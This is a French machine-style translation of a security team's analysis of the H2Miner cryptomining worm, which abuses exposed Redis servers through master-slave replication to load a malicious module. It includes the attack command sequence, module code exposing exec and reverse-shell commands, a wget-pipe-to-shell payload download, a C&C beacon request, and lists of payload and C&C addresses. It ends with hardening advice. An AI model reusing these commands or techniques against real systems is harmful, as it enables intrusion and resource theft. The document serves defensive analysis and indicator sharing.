Découverte d'une nouvelle épidémie de vers H2Miner exploitant Redis RCE

Il y a un jour, l'un des serveurs de mon projet a été attaqué par un ver similaire. À la recherche d'une réponse à la question «qu'est-ce que c'était?», J'ai trouvé un merveilleux article de l'équipe Alibaba Cloud Security. Comme je n'ai pas trouvé cet article sur Habr, j'ai décidé de le traduire spécialement pour vous <3

Entrée


L'équipe de sécurité d'Alibaba Cloud a récemment découvert une soudaine épidémie de H2Miner. Ce type de ver malveillant utilise le manque d'autorisation ou des mots de passe faibles pour Redis comme passerelles vers vos systèmes, après quoi il synchronise son propre module malveillant avec esclave via la synchronisation maître-esclave et télécharge finalement ce module malveillant sur la machine attaquée et exécute des instructions malveillantes.

Dans le passé, les attaques sur vos systèmes étaient principalement menées à l'aide d'une méthode qui comprenait des tâches planifiées ou des clés SSH écrites sur votre machine après qu'un attaquant se soit connecté à Redis. Heureusement, cette méthode ne peut pas être utilisée souvent en raison de problèmes de contrôle des autorisations ou en raison de différentes versions du système. Cependant, cette méthode de téléchargement d'un module malveillant peut exécuter directement les commandes de l'attaquant ou accéder au shell, ce qui est dangereux pour votre système.

En raison du grand nombre de serveurs Redis hébergés sur Internet (près de 1 million), l'équipe de sécurité d'Alibaba Cloud, à titre de rappel amical, recommande aux utilisateurs de ne pas donner accès à Redis à partir du réseau et de vérifier régulièrement la force de leurs mots de passe, ainsi que s'ils sont soumis à sélection rapide.

H2miner


H2Miner est un botnet d'exploration de données pour les systèmes basés sur Linux qui peut envahir votre système de diverses manières, y compris le manque d'autorisation dans Hadoop Yarn, Docker et la vulnérabilité d'exécution de commande à distance (RCE) de Redis Remote Command. Le botnet fonctionne en téléchargeant des scripts malveillants et des logiciels malveillants pour exploiter vos données, en étendant l'attaque horizontalement et en maintenant les communications de commande et de contrôle (C&C).

Redis rce


Pavel Toporkov a partagé ses connaissances sur ce problème lors de ZeroNights 2018. Après la version 4.0, Redis prend en charge la fonction de chargement de modules externes, qui offre aux utilisateurs la possibilité de télécharger des fichiers compilés avec C dans Redis pour exécuter certaines commandes Redis. Cette fonctionnalité, bien qu'utile, contient une vulnérabilité dans laquelle, en mode maître-esclave, les fichiers peuvent être synchronisés avec l'esclave via le mode fullresync. Cela peut être utilisé par un attaquant pour transférer des fichiers si malveillants. Une fois le transfert terminé, les attaquants chargent le module sur l'instance Redis attaquée et exécutent n'importe quelle commande.

Analyse de vers de logiciels malveillants


Récemment, l'équipe de sécurité d'Alibaba Cloud a découvert que la taille du groupe de mineurs malveillants H2Miner a soudainement augmenté de façon spectaculaire. Selon l'analyse, le processus général de survenue d'une attaque est le suivant:

image

H2Miner utilise RCE Redis pour une attaque complète. Premièrement, les attaquants attaquent les serveurs Redis non protégés ou les serveurs avec des mots de passe faibles.

Ensuite, ils utilisent la commande config set dbfilename red2.so pour modifier le nom du fichier. Après cela, les attaquants slaveof commande slaveof pour définir l'adresse d'hôte de réplication maître-esclave.

Lorsque l'instance attaquée de Redis établit une connexion maître-esclave avec le Redis malveillant, qui appartient à l'attaquant, l'attaquant envoie le module infecté à l'aide de la commande fullresync pour synchroniser les fichiers. Le fichier red2.so sera ensuite téléchargé sur la machine cible. Après cela, les attaquants utilisent le module de téléchargement ./red2.so pour télécharger ce fichier so. Le module peut exécuter les commandes de l'attaquant ou initier une connexion inverse (porte dérobée) pour accéder à la machine attaquée.

 if (RedisModule_CreateCommand(ctx, "system.exec", DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR) return REDISMODULE_ERR; if (RedisModule_CreateCommand(ctx, "system.rev", RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR) return REDISMODULE_ERR; 

Après avoir exécuté une commande malveillante telle que / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1 / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1 , l'attaquant réinitialisera le nom du fichier de sauvegarde et déchargera le module système pour effacer les traces. Cependant, le fichier red2.so restera toujours sur la machine attaquée. Il est conseillé aux utilisateurs de faire attention à la présence d'un tel fichier suspect dans le dossier de leur instance Redis.

En plus de détruire certains processus malveillants pour voler des ressources, l'attaquant a suivi un script malveillant en téléchargeant et en exécutant les fichiers malveillants sous forme binaire au 142.44.191.122/kinsing . Cela signifie que le nom du processus ou le nom du répertoire contenant la parenté sur l'hôte peut indiquer que cette machine a été infectée par ce virus.

Selon les résultats de l'ingénierie inverse, le programme malveillant remplit essentiellement les fonctions suivantes:

  • Téléchargement et exécution de fichiers
  • Exploitation minière
  • Maintenir les communications C&C et exécuter les commandes d'attaque

image

Utilisez masscan pour la numérisation externe pour augmenter l'impact. De plus, l'adresse IP du serveur C&C est codée en dur dans le programme, et l'hôte attaqué interagira avec le serveur de communication C&C à l'aide de requêtes HTTP, où les informations zombies (serveur piraté) sont identifiées dans l'en-tête HTTP.

image

 GET /h HTTP/1.1 Host: 91.215.169.111 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 Arch: amd64 Cores: 2 Mem: 3944 Os: linux Osname: debian Osversion: 10.0 Root: false S: k Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx Version: 26 Accept-Encoding: gzip 

Autres méthodes d'attaque


image

Adresses et liens que le ver utilise


/ parenté

 • 142.44.191.122/t.sh • 185.92.74.42/h.sh • 142.44.191.122/spr.sh • 142.44.191.122/spre.sh • 195.3.146.118/unk.sh 

c & c

 • 45.10.88.102 • 91.215.169.111 • 139.99.50.255 • 46.243.253.167 • 195.123.220.193 

Astuce


Tout d'abord, Redis ne doit pas être ouvert à l'accès à partir d'Internet et doit être protégé par un mot de passe fort. Il est également important que les clients vérifient qu'il n'y a pas de fichier red2.so dans le répertoire Redis et pas de «kinsing» dans le nom de fichier / processus sur l'hôte.

Source: https://habr.com/ru/post/fr485300/


All Articles